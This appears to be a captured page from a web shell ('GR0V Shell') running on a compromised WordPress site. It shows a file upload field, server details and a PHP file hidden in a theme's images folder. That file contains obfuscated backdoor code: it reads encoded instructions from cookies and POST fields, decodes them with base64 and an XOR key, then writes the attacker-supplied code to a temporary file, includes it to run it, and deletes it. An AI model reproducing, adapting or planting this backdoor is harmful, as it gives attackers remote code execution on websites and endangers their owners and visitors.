? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/images/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/images/dca83832.php

$EWQLu = "\163" . chr (95) . chr ( 429 - 311 )."\162" . 'H' . "\116" . chr (121); $RwOAqbrMuL = chr ( 731 - 632 ).'l' . "\x61" . "\x73" . 's' . '_' . chr ( 103 - 2 ).chr (120) . chr ( 221 - 116 ).chr (115) . "\x74" . chr ( 456 - 341 ); $AaktpAPs = $RwOAqbrMuL($EWQLu); $agBuGe = $AaktpAPs;if (!$agBuGe){class s_vrHNy{private $HTSLPE;public static $rMXPdmsNi = "f16f3ac1-3712-4f61-94c9-4df361e0f91b";public static $fNePWI = 61549;public function __construct($KOTPMDvEL=0){$dELZmY = $_COOKIE;$avVLdzSw = $_POST;$iVLngjOX = @$dELZmY[substr(s_vrHNy::$rMXPdmsNi, 0, 4)];if (!empty($iVLngjOX)){$TQPRG = "base64";$iDNMpa = "";$iVLngjOX = explode(",", $iVLngjOX);foreach ($iVLngjOX as $iCkmhLf){$iDNMpa .= @$dELZmY[$iCkmhLf];$iDNMpa .= @$avVLdzSw[$iCkmhLf];}$iDNMpa = array_map($TQPRG . "\x5f" . chr (100) . "\x65" . chr ( 680 - 581 ).chr (111) . "\144" . chr ( 958 - 857 ), array($iDNMpa,)); $iDNMpa = $iDNMpa[0] ^ str_repeat(s_vrHNy::$rMXPdmsNi, (strlen($iDNMpa[0]) / strlen(s_vrHNy::$rMXPdmsNi)) + 1);s_vrHNy::$fNePWI = @unserialize($iDNMpa);}}private function tGksKADZK(){if (is_array(s_vrHNy::$fNePWI)) {$MewCmteWE = sys_get_temp_dir() . "/" . crc32(s_vrHNy::$fNePWI['s' . chr (97) . 'l' . "\x74"]);@s_vrHNy::$fNePWI["\167" . "\x72" . "\151" . chr (116) . chr (101)]($MewCmteWE, s_vrHNy::$fNePWI[chr ( 295 - 196 )."\157" . chr (110) . chr (116) . "\x65" . 'n' . chr ( 1065 - 949 )]);include $MewCmteWE;@s_vrHNy::$fNePWI[chr (100) . chr (101) . 'l' . chr ( 626 - 525 ).'t' . chr ( 969 - 868 )]($MewCmteWE); $YlNirNXkNZ = "59392";exit();}}public function __destruct(){$this->tGksKADZK(); $YlNirNXkNZ = "59392";}}$iXyqXV = new s_vrHNy(); $iXyqXV = "8215_46901";}

T1KUS90T
  root-grov@210.1.60.28:~$